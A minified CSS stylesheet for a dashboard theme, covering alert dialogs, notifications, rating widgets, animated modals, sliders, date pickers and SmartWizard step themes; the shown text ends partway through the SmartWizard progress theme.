.swal2-input.swal2-inputerror, .swal2-textarea.swal2-inputerror { border-color: #ff3a6e !important; box-shadow: 0 0 2px #ff3a6e !important; } .swal2-file:focus, .swal2-input:focus, .swal2-textarea:focus { border: 1px solid #b4dbed; box-shadow: 0 0 3px #c4e6f5; } .swal2-validation-message { background: #f0f0f0; color: #666; } .swal2-validation-message::before { background-color: #ff3a6e; } .swal2-icon.swal2-error { border-color: #ff87a6 !important; color: #ff3a6e !important; } .swal2-icon.swal2-error [class^=swal2-x-mark-line] { background-color: #ff3a6e !important; } .swal2-icon.swal2-warning { border-color: #ffc16a !important; color: #ffa21d !important; } .swal2-icon.swal2-info { border-color: #7ddbe3 !important; color: #3ec9d6 !important; } .swal2-icon.swal2-question { border-color: #9b7cd4 !important; color: #6f42c1 !important; } .swal2-icon.swal2-success { border-color: #a0e683 !important; color: #6fd943 !important; } .swal2-icon.swal2-success .swal2-success-ring { border: 0.25em solid rgba(111, 217, 67, 0.3) !important; } .swal2-icon.swal2-success [class^=swal2-success-line] { background-color: #6fd943 !important; } .swal2-progress-steps .swal2-progress-step { background: #51459d; color: #fff; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step { background: #51459d; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step { background: #3ec9d6; color: #fff; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step-line { background: #3ec9d6; } .swal2-progress-steps .swal2-progress-step-line { background: #51459d; } .swal2-actions .btn { margin: 0 10px; } .lb-cancel { background: url("../images/loading.gif") no-repeat; } .lb-nav a.lb-prev { background: url("../images/prev.png") left 48% no-repeat; } .lb-nav a.lb-next { background: url("../images/next.png") right 48% no-repeat; } .lb-data .lb-caption a { color: #51459d; } .lb-data .lb-close { background: url("../images/close.png") top right no-repeat; } .alert-dismissable .close, .alert-dismissible .close { color: inherit; text-shadow: none; } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .alert-inverse { background-color: #333; border-color: transparent; color: #fff; } .alert-inverse .close { position: relative; top: -2px; right: -21px; color: #fff; text-shadow: none; } .alert-inverse .alert-link { color: #e6e6e6; } .growl-animated.alert-inverse { box-shadow: 0 0 5px rgba(51, 51, 51, 0.5); } .growl-animated.alert-info { box-shadow: 0 0 5px rgba(81, 69, 157, 0.5); } .growl-animated.alert-success { box-shadow: 0 0 5px rgba(111, 217, 67, 0.5); } .growl-animated.alert-warning { box-shadow: 0 0 5px rgba(255, 162, 29, 0.5); } .growl-animated.alert-danger { box-shadow: 0 0 5px rgba(255, 58, 110, 0.5); } [data-notify="progressbar"] { margin-bottom: 0; position: absolute; bottom: 0; left: 0; width: 100%; height: 5px; } .notifier-container { z-index: 1029; font-family: "Open Sans", sans-serif; width: 400px; max-width: 98%; top: 15px; } .notifier { padding: calc(25px - 5px) calc(25px - 5px); border-radius: 10px; } .notifier .notifier-title { font-size: 16px; font-weight: 600; margin-bottom: 2px; } .notifier .notifier-body { font-size: 0.875rem; } .notifier .notifier-img .img { width: 40px; height: 40px; } .notifier .notifier-close:focus, .notifier .notifier-close:hover { color: #ff3a6e; background: transparent; } .notifier.primary { border-left-color: #51459d; } .notifier.secondary { border-left-color: #6c757d; } .notifier.success { border-left-color: #6fd943; } .notifier.info { border-left-color: #3ec9d6; } .notifier.warning { border-left-color: #ffa21d; } .notifier.danger { border-left-color: #ff3a6e; } .notifier.light { border-left-color: #f8f9fa; } .notifier.dark { border-left-color: #1c232f; } [ui-pnotify].ui-pnotify .brighttheme { border-radius: 0; } [ui-pnotify].ui-pnotify .brighttheme.ui-pnotify-container { padding: 1.3rem; } [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-confirm, [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-text, [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-title { margin-left: 1.8rem; } [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-confirm, [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-text, [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-title { margin-right: 1.8rem; margin-left: 0; } [ui-pnotify].ui-pnotify .brighttheme-icon-notice:after { content: "!"; } [ui-pnotify].ui-pnotify .brighttheme-icon-info:after { content: "i"; } [ui-pnotify].ui-pnotify .brighttheme-icon-success:after { content: "\002713"; } [ui-pnotify].ui-pnotify .brighttheme-icon-error:after { content: "!"; } [ui-pnotify].ui-pnotify .brighttheme-icon-closer:after { content: "\002715"; } [ui-pnotify].ui-pnotify .brighttheme-icon-sticker:after { top: -1px; content: "\002016"; } [ui-pnotify].ui-pnotify .brighttheme-icon-sticker.brighttheme-icon-stuck:after { content: "\00003E"; } [data-pnotify].custom-elem { font-family: Arial, Helvetica, sans-serif; font-size: 10pt; line-height: 1.1; } [data-pnotify] .custom-container { background-color: #404040; background-image: none; border: none; border-radius: 10px; padding: 15px; font-size: 15px; } [data-pnotify] .custom-title, [data-pnotify] .custom-text { margin-left: 50px; color: #FFF; } [data-pnotify] .custom-title { font-weight: bold; font-size: 15px; } [data-pnotify] .custom-icon { color: #FFA; } .br-theme-bars-1to10 .br-widget a { background-color: #ffe1b6; } .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected { background-color: #ffa21d; } .br-theme-bars-1to10 .br-widget .br-current-rating { color: #ffa21d; } .br-theme-bars-1to10 .br-readonly a.br-active, .br-theme-bars-1to10 .br-readonly a.br-selected { background-color: #ffa21d; } .br-theme-bars-1to10 .br-readonly .br-current-rating { color: #ffcc83; } .br-theme-bars-horizontal .br-widget a { background-color: #ffe1b6; } .br-theme-bars-horizontal .br-widget a.br-active, .br-theme-bars-horizontal .br-widget a.br-selected { background-color: #ffa21d; } .br-theme-bars-horizontal .br-widget .br-current-rating { color: #ffa21d; } .br-theme-bars-horizontal .br-readonly a.br-active, .br-theme-bars-horizontal .br-readonly a.br-selected { background-color: #ffe1b6; } .br-theme-bars-horizontal .br-readonly .br-current-rating { color: #ffe1b6; } .br-theme-bars-movie .br-widget { height: auto; } .br-theme-bars-movie .br-widget a { background-color: #aba4d7; } .br-theme-bars-movie .br-widget a.br-active, .br-theme-bars-movie .br-widget a.br-selected { background-color: #51459d; } .br-theme-bars-movie .br-widget .br-current-rating { color: #51459d; } .br-theme-bars-movie .br-readonly a.br-active, .br-theme-bars-movie .br-readonly a.br-selected { background-color: #8a81c7; } .br-theme-bars-movie .br-readonly .br-current-rating { color: #8a81c7; } .br-theme-bars-pill .br-widget a { background-color: white; color: #6fd943; } .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected { background-color: #6fd943; } .br-theme-bars-pill .br-readonly a.br-active, .br-theme-bars-pill .br-readonly a.br-selected { background-color: #8fe26d; } .br-theme-bars-reversed .br-widget a { background-color: #fbfefe; color: #3ec9d6; } .br-theme-bars-reversed .br-widget a.br-active, .br-theme-bars-reversed .br-widget a.br-selected { background-color: #3ec9d6; } .br-theme-bars-reversed .br-widget .br-current-rating { color: #3ec9d6; width: 100%; padding: 0; margin-top: 15px; } .br-theme-bars-reversed .br-readonly a.br-active, .br-theme-bars-reversed .br-readonly a.br-selected { background-color: #68d5df; } .br-theme-bars-reversed .br-readonly .br-current-rating { color: #68d5df; } .br-theme-bars-square .br-widget a { border: 2px solid #ffbacc; color: #ffbacc; } .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected { border: 2px solid #ff3a6e; color: #ff3a6e; } .br-theme-bars-square .br-readonly a.br-active, .br-theme-bars-square .br-readonly a.br-selected { border: 2px solid #ff6d94; color: #ff6d94; } .br-theme-bootstrap-stars .br-widget a:after { color: #eceffa; } .br-theme-bootstrap-stars .br-widget a.br-active:after, .br-theme-bootstrap-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-css-stars .br-widget a:after { color: #eceffa; } .br-theme-css-stars .br-widget a.br-active:after, .br-theme-css-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-fontawesome-stars .br-widget a { font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 18px; } .br-theme-fontawesome-stars .br-widget a:after { content: "\f005"; color: #eceffa; } .br-theme-fontawesome-stars .br-widget a.br-active:after, .br-theme-fontawesome-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-fontawesome-stars-o .br-widget a { font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 18px; } .br-theme-fontawesome-stars-o .br-widget a:after { content: "\f005"; color: #eceffa; } .br-theme-fontawesome-stars-o .br-widget a.br-active:after, .br-theme-fontawesome-stars-o .br-widget a.br-selected:after { color: #6fd943; } .br-theme-fontawesome-stars-o .br-widget a.br-fractional:after { content: "\f5c0"; color: #6fd943; } .modal.fade.modal-animate { /* Effect 1: Fade in and scale up */ /* Effect 2: Slide from the right */ /* Effect 3: Slide from the bottom */ /* Effect 4: Newspaper */ /* Effect 5: fall */ /* Effect 6: side fall */ /* Effect 7: slide and stick to top */ /* Effect 8: 3D flip horizontal */ /* Effect 9: 3D flip vertical */ /* Effect 10: 3D sign */ /* Effect 11: Super scaled */ /* Effect 12: Just me */ /* Effect 13: 3D slit */ /* Effect 14: 3D Rotate from bottom */ /* Effect 15: 3D Rotate in from left */ /* Effect 16: Blur */ /* Effect 17: Slide in from bottom with perspective on container */ /* Effect 18: Slide from right with perspective on container */ /* Effect 19: Slip in from the top with perspective on container */ } .modal.fade.modal-animate .modal-dialog { display: flex; align-items: center; height: calc(100% - 3.5rem); } .modal.fade.modal-animate.anim-fade-in-scale .modal-dialog { transform: scale(0.7); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-fade-in-scale.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-slide-in-right .modal-dialog { transform: translateX(20%); opacity: 0; transition: all 0.3s cubic-bezier(0.25, 0.5, 0.5, 0.9); } .modal.fade.modal-animate.anim-slide-in-right.show .modal-dialog { transform: translateX(0); opacity: 1; } .modal.fade.modal-animate.anim-slide-in-bottom .modal-dialog { transform: translateY(20%); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-slide-in-bottom.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-newspaper .modal-dialog { transform: scale(0) rotate(720deg); opacity: 0; transition: all 0.5s; } .modal.fade.modal-animate.anim-newspaper.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-fall { perspective: 1300px; } .modal.fade.modal-animate.anim-fall .modal-dialog { transform-style: preserve-3d; transform: translateZ(600px) rotateX(20deg); opacity: 0; transition: all 0.5s; } .modal.fade.modal-animate.anim-fall.show .modal-dialog { transition: all 0.3s ease-in; transform: translateZ(0px) rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-side-fall { perspective: 1300px; } .modal.fade.modal-animate.anim-side-fall .modal-dialog { transform-style: preserve-3d; transform: translate(30%) translateZ(600px) rotate(10deg); opacity: 0; transition: all 0.3s ease-in; } .modal.fade.modal-animate.anim-side-fall.show .modal-dialog { transform: translate(0%) translateZ(0) rotate(0deg); opacity: 1; } .modal.fade.modal-animate.anim-sticky-up .modal-dialog { align-items: flex-start; margin-top: 0; transform: translateY(-200%); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-sticky-up.show .modal-dialog { transform: translateY(0%); border-radius: 0 0 3px 3px; opacity: 1; } .modal.fade.modal-animate.anim-3d-flip-horizontal { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-flip-horizontal .modal-dialog { transform-style: preserve-3d; transform: rotateY(-70deg); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-3d-flip-horizontal.show .modal-dialog { transform: rotateY(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-flip-vertical { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-flip-vertical .modal-dialog { transform-style: preserve-3d; transform: rotateX(-70deg); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-3d-flip-vertical.show .modal-dialog { transform: rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-sign { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-sign .modal-dialog { transform-style: preserve-3d; transform: rotateX(-60deg); transform-origin: 50% 0; opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-3d-sign.show .modal-dialog { transform: rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-super-scaled .modal-dialog { transform: scale(2); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-super-scaled.show .modal-dialog { transform: scale(1); opacity: 1; } .modal.fade.modal-animate.anim-just-me { background: #fff; } .modal.fade.modal-animate.anim-just-me .modal-dialog { transform: scale(0.8); opacity: 0; transition: all 0.3s; background: transparent; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content { border: none; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header { background: transparent !important; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header .btn-close.btn-close-white { filter: none; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header .text-white.modal-title { color: #525b69 !important; } .modal.fade.modal-animate.anim-just-me.show .modal-dialog { transform: scale(1); opacity: 1; } .modal.fade.modal-animate.anim-3d-slit { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-slit .modal-dialog { transform-style: preserve-3d; transform: translateZ(-3000px) rotateY(90deg); opacity: 0; } .modal.fade.modal-animate.anim-3d-slit.show .modal-dialog { animation: slit 0.7s forwards ease-out; } .modal.fade.modal-animate.anim-3d-rotate-bottom { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-rotate-bottom .modal-dialog { transform-style: preserve-3d; transform: translateY(100%) rotateX(90deg); transform-origin: 0 100%; opacity: 0; transition: all 0.3s ease-out; } .modal.fade.modal-animate.anim-3d-rotate-bottom.show .modal-dialog { transform: translateY(0%) rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-rotate-InLeft { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-rotate-InLeft .modal-dialog { transform-style: preserve-3d; transform: translateZ(100px) translateX(-30%) rotateY(90deg); transform-origin: 0 100%; opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-3d-rotate-InLeft.show .modal-dialog { transform: translateZ(0px) translateX(0%) rotateY(0deg); opacity: 1; } .modal.fade.modal-animate.anim-blur { -webkit-backdrop-filter: blur(8px); backdrop-filter: blur(8px); } .modal.fade.modal-animate.anim-blur .modal-dialog { transform: scale(0.7); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-blur.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-let-me-in .modal-dialog { opacity: 0; transform: translateY(200%); transition: all 0.3s 0.2s; } .modal.fade.modal-animate.anim-let-me-in.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-make-way .modal-dialog { opacity: 0; transform: translateX(200%); transition: all 0.3s 0.2s; } .modal.fade.modal-animate.anim-make-way.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-slip-from-top .modal-dialog { opacity: 0; transform: translateY(-200%); transition: all 0.5s 0.1s; } .modal.fade.modal-animate.anim-slip-from-top.show .modal-dialog { transform: translateY(0); opacity: 1; } body { /* Effect 17: Slide in from bottom with perspective on container */ /* Effect 18: Slide from right with perspective on container */ /* Effect 19: Slip in from the top with perspective on container */ } body.anim-let-me-in { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-let-me-in .header-user-list, body.anim-let-me-in .page-header, body.anim-let-me-in .header-chat, body.anim-let-me-in .menu-styler { display: none; } body.anim-let-me-in .dash-sidebar, body.anim-let-me-in .dash-header, body.anim-let-me-in .dash-container, body.anim-let-me-in .modal-backdrop { transition: transform 0.3s; } body.anim-let-me-in.modal-open .dash-sidebar, body.anim-let-me-in.modal-open .dash-header, body.anim-let-me-in.modal-open .dash-container, body.anim-let-me-in.modal-open .modal-backdrop { transform: rotateX(-3deg); transform-origin: 50% 0%; transform-style: preserve-3d; } body.anim-make-way { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-make-way .header-user-list, body.anim-make-way .page-header, body.anim-make-way .header-chat, body.anim-make-way .menu-styler { display: none; } body.anim-make-way .dash-sidebar, body.anim-make-way .dash-header, body.anim-make-way .dash-container, body.anim-make-way .modal-backdrop { transition: all 0.5s; } body.anim-make-way.modal-open .dash-sidebar, body.anim-make-way.modal-open .dash-header, body.anim-make-way.modal-open .dash-container, body.anim-make-way.modal-open .modal-backdrop { transform-style: preserve-3d; transform-origin: 0% 50%; animation: rotateRightSideFirst 0.5s forwards ease-in; } body.anim-slip-from-top { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-slip-from-top .header-user-list, body.anim-slip-from-top .header-chat, body.anim-slip-from-top .page-header, body.anim-slip-from-top .menu-styler { display: none; } body.anim-slip-from-top .dash-sidebar, body.anim-slip-from-top .dash-header, body.anim-slip-from-top .dash-container, body.anim-slip-from-top .modal-backdrop { transition: all 0.5s; transform-style: preserve-3d; transform-origin: 50% 100%; animation: OpenTop 1.5s forwards ease-in; } body.anim-slip-from-top.modal-open .dash-header { opacity: 0; } @keyframes slit { 50% { transform: translateZ(-250px) rotateY(89deg); opacity: 1; animation-timing-function: ease-in; } 100% { transform: translateZ(0) rotateY(0deg); opacity: 1; } } @keyframes rotateRightSideFirst { 50% { transform: translateZ(-50px) rotateY(5deg); animation-timing-function: ease-out; } 100% { transform: translateZ(-200px); } } @keyframes OpenTop { 50% { transform: rotateX(10deg); animation-timing-function: ease-out; } } .slider.slider-horizontal .slider-handle.triangle, .slider.slider-horizontal .slider-tick.triangle { border-bottom-color: #51459d; } .slider.slider-vertical .slider-handle.triangle, .slider.slider-vertical .slider-tick.triangle { border-left-color: #51459d; border-right-color: #51459d; } .slider.slider-disabled .slider-handle { background-image: linear-gradient(to bottom, #dfdfdf 0, #bebebe 100%); background-repeat: repeat-x; } .slider.slider-disabled .slider-track { background-image: linear-gradient(to bottom, #f8f9fd 0, #f8f9fd 100%); background-repeat: repeat-x; } .slider-track { background-image: linear-gradient(to bottom, #f8f9fd 0, #f8f9fd 100%); background-repeat: repeat-x; } .slider-selection { background-image: linear-gradient(to bottom, #9b92cf 0, #9b92cf 100%); background-repeat: repeat-x; } .slider-selection.tick-slider-selection { background-image: linear-gradient(to bottom, #8a81c7 0, #8a81c7 100%); background-repeat: repeat-x; } .slider-handle { background-color: #51459d; background-image: linear-gradient(to bottom, #51459d 0, #51459d 100%); background-repeat: repeat-x; } .slider-tick { background-image: linear-gradient(to bottom, #f9f9f9 0, #f5f5f5 100%); background-repeat: repeat-x; } .slider-tick.in-selection { background-image: linear-gradient(to bottom, #8a81c7 0, #8a81c7 100%); background-repeat: repeat-x; } #ex7-enabled { position: relative; top: 4px; height: 18px; width: 18px; } #RGB { height: 10px; background: gray; } #RC .slider-selection { background: #FF8282; } #RC .slider-handle { background: red; } #GC .slider-selection { background: #428041; } #GC .slider-handle { background: green; } #BC .slider-selection { background: #8283FF; } #BC .slider-handle { border-bottom-color: blue; } #B, #G, #R { width: 300px; } .slider-handle.custom { background: transparent none; } .slider-handle.custom::before { line-height: 15px; font-size: 28px; content: '\2605'; color: #726204; } #slider12a .slider-track-high, #slider12c .slider-track-high { background: #6fd943; } #slider12b .slider-track-low { background: #ff3a6e; } #slider12c .slider-track-low { background: #ff3a6e; } #slider12c .slider-selection { background: #ffa21d; } #slider22 .slider-rangeHighlight { background: #f70616; } #slider22 .slider-rangeHighlight.category1 { background: #FF9900; } #slider22 .slider-rangeHighlight.category2 { background: #99CC00; } .vtree a.vtree-leaf-label { color: #293240; } .vtree a.vtree-leaf-label:hover, .vtree a.vtree-leaf-label:focus, .vtree a.vtree-leaf-label:active { color: #51459d; } .daterangepicker { font-family: "Open Sans", sans-serif; border: 1px solid rgba(0, 0, 0, 0.15); box-shadow: 0 0 25px rgba(81, 69, 157, 0.15); background-color: #ffffff; } .daterangepicker .calendar-table { border: 1px solid #ffffff; background-color: #ffffff; } .daterangepicker .calendar-table td, .daterangepicker .calendar-table th { color: #6c757d; } .daterangepicker .calendar-table .next span, .daterangepicker .calendar-table .prev span { border-color: #adb5bd; } .daterangepicker td.in-range { background-color: #a8a0d5; color: #495057; } .daterangepicker td.off, .daterangepicker td.off.end-date, .daterangepicker td.off.in-range, .daterangepicker td.off.start-date { background-color: #ffffff; color: #293240; opacity: 0.5; } .daterangepicker td.active, .daterangepicker td.active:hover { background-color: #51459d; color: #fff; } .daterangepicker td.available:hover, .daterangepicker th.available:hover { background-color: #51459d; color: #fff; } .daterangepicker td.available:hover > span, .daterangepicker th.available:hover > span { border-color: #fff; } .daterangepicker:after { border-bottom: 6px solid #ffffff; } .daterangepicker:before { border-bottom: 7px solid rgba(0, 0, 0, 0.15); } .daterangepicker .ranges ul { padding-top: 15px; padding-bottom: 15px; } @media (min-width: 564px) { .daterangepicker .ranges ul { width: 160px; } } .daterangepicker .ranges ul li { margin: 5px 10px; transition: all 0.2s ease-in-out; } .daterangepicker .ranges ul li.active { background-color: #51459d; } .daterangepicker .ranges ul li:hover { box-shadow: 0 15px 8px -9px rgba(0, 0, 0, 0.25); background-color: #51459d; color: #fff; } .daterangepicker .drp-buttons { border-top: 1px solid rgba(0, 0, 0, 0.15); } .daterangepicker.show-ranges .drp-calendar.left { border-left: 1px solid rgba(0, 0, 0, 0.15); } .datepicker-dropdown .datepicker-picker { box-shadow: 0 1px 10px 0 rgba(69, 90, 100, 0.2); } .datepicker-view .week { color: #51459d; } .datepicker-cell.selected { background-color: #51459d; color: #fff; } .datepicker-cell.selected:hover { background-color: #51459d; color: #fff; } .datepicker-cell.disabled { color: #dcdaeb; background-color: #f8f9fd; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today) { background-color: #dcdaeb; color: #51459d; border-radius: 0; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today):not(.disabled):hover { background-color: #dcdaeb; color: #51459d; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today).focused { background-color: #51459d; color: #fff; } .datepicker-input.in-edit { border-color: #51459d; } .bootstrap-tagsinput { padding: 5px 10px; line-height: 28px; background: #f8f9fd; border: 1px solid #f1f1f1; border-radius: 10px; width: 100%; } .bootstrap-tagsinput .tag { background: #51459d; padding: 5px 12px; color: #fff; border-radius: 10px; } .bootstrap-maxlength { background: #51459d; border-radius: 10px; padding: 5px 10px; color: #fff; } .bootstrap-maxlength.label-danger { background: theme-color("danger"); } .bootstrap-maxlength.label-success { background: theme-color("success"); } .bootstrap-maxlength.label-warning { background: theme-color("warning"); } .divider-body { border-color: #f8f9fd; background: #f8f9fd; } .sw .toolbar { padding: 25px 25px; } .sw .toolbar > .btn.disabled, .sw .toolbar > .btn:disabled { opacity: 0.5; } .sw > .nav .nav-link { padding: 1rem; } .sw.sw-dark { color: rgba(255, 255, 255, 0.95); background: #1c232f; } .sw.sw-dark h4, .sw.sw-dark .h4 { color: rgba(255, 255, 255, 0.95); } .sw.sw-dark .form-select, .sw.sw-dark .form-control, .sw.sw-dark .custom-select, .sw.sw-dark .dataTable-selector, .sw.sw-dark .dataTable-input { background: #222a39; border-color: #273142; color: rgba(255, 255, 255, 0.95); } .sw.sw-dark .form-check-input:not(:checked[type="radio"]) { background: #222a39; } .sw.sw-dark .divider-body { border-color: #273142 !important; background: #273142; } .sw.sw-loading::before { border-color: #f1f1f1; border-top-color: 10px solid #51459d; } /* SmartWizard Theme: Default */ .sw-theme-default { border: 1px solid #f1f1f1; } .sw-theme-default > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-default .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-default > .nav { box-shadow: none !important; border-bottom: 1px solid #f1f1f1; } .sw-theme-default > .nav .nav-link::after { background: #f8f9fd; } .sw-theme-default > .nav .nav-link.inactive { color: #6c757d; } .sw-theme-default > .nav .nav-link.active { color: #51459d !important; } .sw-theme-default > .nav .nav-link.active::after { background: #51459d !important; } .sw-theme-default > .nav .nav-link.done { color: #51459d !important; } .sw-theme-default > .nav .nav-link.done::after { background: #dcdaeb; } .sw-theme-default > .nav .nav-link.danger { color: #ff3a6e !important; } .sw-theme-default > .nav .nav-link.danger::after { background: #ff3a6e; } .sw-theme-default.sw-dark > .nav { box-shadow: none !important; border-bottom: 1px solid #f1f1f1; } .sw-theme-default.sw-dark > .nav .nav-link.inactive { color: rgba(255, 255, 255, 0.5); } .sw-theme-default.sw-dark > .nav .nav-link.active { color: #fff !important; } .sw-theme-default.sw-dark > .nav .nav-link.active::after { background: #51459d !important; } .sw-theme-default.sw-dark > .nav .nav-link.done { color: rgba(255, 255, 255, 0.75) !important; } .sw-theme-default.sw-dark > .nav .nav-link.done::after { background: rgba(255, 255, 255, 0.75); } /* SmartWizard Theme: Arrows */ .sw-theme-arrows { border: 1px solid #f1f1f1; } .sw-theme-arrows > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-arrows .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-arrows > .nav { border-bottom: 1px solid #f1f1f1; background-color: #f8f9fd; } .sw-theme-arrows > .nav .nav-link { padding-left: 40px; } .sw-theme-arrows > .nav .nav-link::after { border-left-color: #f8f9fd; } .sw-theme-arrows > .nav .nav-link::before { border-left-color: #f8f9fd; } .sw-theme-arrows > .nav .nav-link.inactive { color: #6c757d; border-color: #f8f9fd; background: #f8f9fd; } .sw-theme-arrows > .nav .nav-link.active { color: #ffffff; border-color: #51459d; background: #51459d; } .sw-theme-arrows > .nav .nav-link.active::after { border-left-color: #51459d; } .sw-theme-arrows > .nav .nav-link.done { color: #51459d; border-color: #dcdaeb; background: #dcdaeb; } .sw-theme-arrows > .nav .nav-link.done::after { border-left-color: #dcdaeb; } .sw-theme-arrows > .nav .nav-link.danger { color: #ffffff; border-color: #ff3a6e; background: #ff3a6e; } .sw-theme-arrows > .nav .nav-link.danger::after { border-left-color: #ff3a6e; } .sw-theme-arrows.sw-dark { color: rgba(255, 255, 255, 0.95); background: #1c232f; } .sw-theme-arrows.sw-dark > .nav { border-bottom: 1px solid #2f3b4f; background-color: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link::after { border-left: 30px solid #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link::before { border-left: 30px solid #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.inactive { color: white; border-color: #2f3b4f; background: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link.inactive::after { border-left-color: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link.active { color: white; border-color: #1c232f; background: #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.active::after { border-left-color: #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.done { color: white; border-color: #222a39; background: #222a39; } .sw-theme-arrows.sw-dark > .nav .nav-link.done::after { border-left-color: #222a39; } .sw-theme-arrows.sw-dark > .nav .nav-link.danger { color: #ffffff; border-color: #ff3a6e; background: #ff3a6e; } .sw-theme-arrows.sw-dark > .nav .nav-link.danger::after { border-left-color: #ff3a6e; } /* SmartWizard Theme: Dots */ .sw-theme-dots > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-dots .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-dots > .nav { margin-bottom: 0; } .sw-theme-dots > .nav::before { height: 5px; background-color: #f1f1f1; } .sw-theme-dots > .nav .nav-link::before { background: #f1f1f1; color: #51459d; } .sw-theme-dots > .nav .nav-link.inactive { color: #a7acb1; } .sw-theme-dots > .nav .nav-link.inactive::after { background-color: #e2e3e5; } .sw-theme-dots > .nav .nav-link.active { color: #51459d !important; } .sw-theme-dots > .nav .nav-link.active::after { background-color: #51459d !important; } .sw-theme-dots > .nav .nav-link.done { color: #6c757d; } .sw-theme-dots > .nav .nav-link.done::after { background-color: #6c757d; } .sw-theme-dots > .nav .nav-link.danger { color: #ff3a6e; } .sw-theme-dots > .nav .nav-link.danger::after { background-color: #ff3a6e; } .sw-theme-dots.sw-dark { color: rgba(255, 255, 255, 0.5); background: #1c232f; } .sw-theme-dots.sw-dark > .nav::before { background-color: #273142; } .sw-theme-dots.sw-dark > .nav .nav-link::before { background: #273142; color: black; } .sw-theme-dots.sw-dark > .nav .nav-link.inactive { color: rgba(255, 255, 255, 0.5); } .sw-theme-dots.sw-dark > .nav .nav-link.inactive::after { background-color: #7b838a; } .sw-theme-dots.sw-dark > .nav .nav-link.active { color: #fff !important; } .sw-theme-dots.sw-dark > .nav .nav-link.active::after { background-color: #51459d !important; } .sw-theme-dots.sw-dark > .nav .nav-link.done { color: rgba(255, 255, 255, 0.85); } .sw-theme-dots.sw-dark > .nav .nav-link.done::after { background-color: #978fc4; } /* SmartWizard Theme: Progress */ .sw-theme-progress { border: 1px solid #f1f1f1; } .sw-theme-progress > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-progress .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-progress > .nav { box-shadow: none !important; border-bottom: 1px solid #f1f1f1; } .sw-theme-progress > .nav .nav-link::after { background: #ffffff; } .sw-theme-progress > .nav .nav-link.inactive { color: #6c757d; } 